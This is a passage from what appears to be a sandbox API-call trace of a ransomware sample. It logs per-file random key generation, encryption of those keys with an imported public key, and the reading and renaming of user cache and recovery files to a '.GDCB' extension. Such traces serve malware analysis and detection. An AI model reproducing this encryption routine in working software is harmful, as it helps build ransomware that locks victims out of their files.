pbBuffer=0x285d358) returned 1 [0281.478] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.479] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0281.482] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678f460) returned 1 [0281.482] CryptGetKeyParam (in: hKey=0x678f460, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0281.482] CryptEncrypt (in: hKey=0x678f460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0281.482] GetLastError () returned 0x0 [0281.482] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.482] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0281.485] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678fb60) returned 1 [0281.485] CryptGetKeyParam (in: hKey=0x678fb60, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0281.485] CryptEncrypt (in: hKey=0x678fb60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0281.486] GetLastError () returned 0x0 [0281.486] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.486] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0281.487] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce40000 [0281.490] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce50000 [0281.492] ReadFile (in: hFile=0x520, lpBuffer=0xce50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce50000*, lpNumberOfBytesRead=0x285d3e8*=0x5a, lpOverlapped=0x0) returned 1 [0281.501] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0xcf60000 [0281.506] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt.gdcb")) returned 1 [0281.601] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0281.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.608] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.608] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0281.608] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.609] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0281.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.616] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0281.616] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.616] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0281.619] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x678da20) returned 1 [0281.619] CryptGetKeyParam (in: hKey=0x678da20, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0281.619] CryptEncrypt (in: hKey=0x678da20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce20000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xce20000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0281.619] GetLastError () returned 0x0 [0281.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.620] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0281.622] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x678faa0) returned 1 [0281.622] CryptGetKeyParam (in: hKey=0x678faa0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0281.622] CryptEncrypt (in: hKey=0x678faa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce30000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xce30000*, pdwDataLen=0x285e050*=0x100) returned 1 [0281.622] GetLastError () returned 0x0 [0281.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.622] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0281.683] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0281.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.689] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.689] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0281.689] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.689] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0281.692] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.694] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.694] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0281.694] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.694] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0281.696] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x678ff20) returned 1 [0281.696] CryptGetKeyParam (in: hKey=0x678ff20, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0281.696] CryptEncrypt (in: hKey=0x678ff20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce40000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xce40000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0281.697] GetLastError () returned 0x0 [0281.697] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.697] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0281.698] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x678f920) returned 1 [0281.698] CryptGetKeyParam (in: hKey=0x678f920, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0281.699] CryptEncrypt (in: hKey=0x678f920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce50000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xce50000*, pdwDataLen=0x285db40*=0x100) returned 1 [0281.699] GetLastError () returned 0x0 [0281.699] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.699] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{63E26EB7-6816-11E7-9BD2-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{63e26eb7-6816-11e7-9bd2-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0281.700] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce60000 [0281.703] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce70000 [0281.706] ReadFile (in: hFile=0x508, lpBuffer=0xce70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xce70000*, lpNumberOfBytesRead=0x285db80*=0x2200, lpOverlapped=0x0) returned 1 [0281.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2200, flAllocationType=0x3000, flProtect=0x4) returned 0xcf80000 [0281.996] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{63E26EB7-6816-11E7-9BD2-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{63e26eb7-6816-11e7-9bd2-c40142ecde47}.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{63E26EB7-6816-11E7-9BD2-C40142ECDE47}.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{63e26eb7-6816-11e7-9bd2-c40142ecde47}.dat.gdcb")) returned 1 [0282.691] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0282.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.698] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0282.698] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.698] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0282.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.705] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0282.705] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.706] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0282.709] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678f960) returned 1 [0282.709] CryptGetKeyParam (in: hKey=0x678f960, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.709] CryptEncrypt (in: hKey=0x678f960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce40000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xce40000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0282.709] GetLastError () returned 0x0 [0282.709] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.709] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0282.711] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678fc20) returned 1 [0282.711] CryptGetKeyParam (in: hKey=0x678fc20, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.711] CryptEncrypt (in: hKey=0x678fc20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce50000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xce50000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0282.712] GetLastError () returned 0x0 [0282.712] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.712] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0282.713] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce60000 [0282.717] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce70000 [0282.720] ReadFile (in: hFile=0x504, lpBuffer=0xce70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xce70000*, lpNumberOfBytesRead=0x285de08*=0x100000, lpOverlapped=0x0) returned 1 [0282.741] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0xcf80000 [0282.788] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db.gdcb")) returned 1 [0282.792] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0282.795] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.798] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0282.798] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.798] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0282.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.803] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.803] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0282.803] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.803] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0282.805] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678fda0) returned 1 [0282.805] CryptGetKeyParam (in: hKey=0x678fda0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.805] CryptEncrypt (in: hKey=0x678fda0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce40000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xce40000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0282.806] GetLastError () returned 0x0 [0282.806] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.806] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0282.808] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678f9a0) returned 1 [0282.808] CryptGetKeyParam (in: hKey=0x678f9a0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.808] CryptEncrypt (in: hKey=0x678f9a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce50000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xce50000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0282.808] GetLastError () returned 0x0 [0282.808] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.808] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0282.809] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce60000 [0282.813] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce70000 [0282.815] ReadFile (in: hFile=0x504, lpBuffer=0xce70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xce70000*, lpNumberOfBytesRead=0x285de08*=0x1cf8, lpOverlapped=0x0) returned 1 [0282.820] VirtualAlloc (lpAddress=0x0, dwSize=0x1d00, flAllocationType=0x3000, flProtect=0x4) returned 0xcf80000 [0282.825] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db.gdcb")) returned 1 [0282.852] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0282.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.857] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0282.857] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0282.857] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0282.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.863] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0282.863] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.864] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0282.866] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678fa60) returned 1 [0282.866] CryptGetKeyParam (in: hKey=0x678fa60, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.866] CryptEncrypt (in: hKey=0x678fa60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce40000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xce40000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0282.866] GetLastError () returned 0x0 [0282.866] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0282.866] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0282.868] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x678fd60) returned 1 [0282.868] CryptGetKeyParam (in: hKey=0x678fd60, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0282.868] CryptEncrypt (in: hKey=0x678fd60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce50000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xce50000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0282.869] GetLastError () returned 0x0 [0282.869] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0282.869] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0282.916] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0282.919] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0282.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0282.922] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, 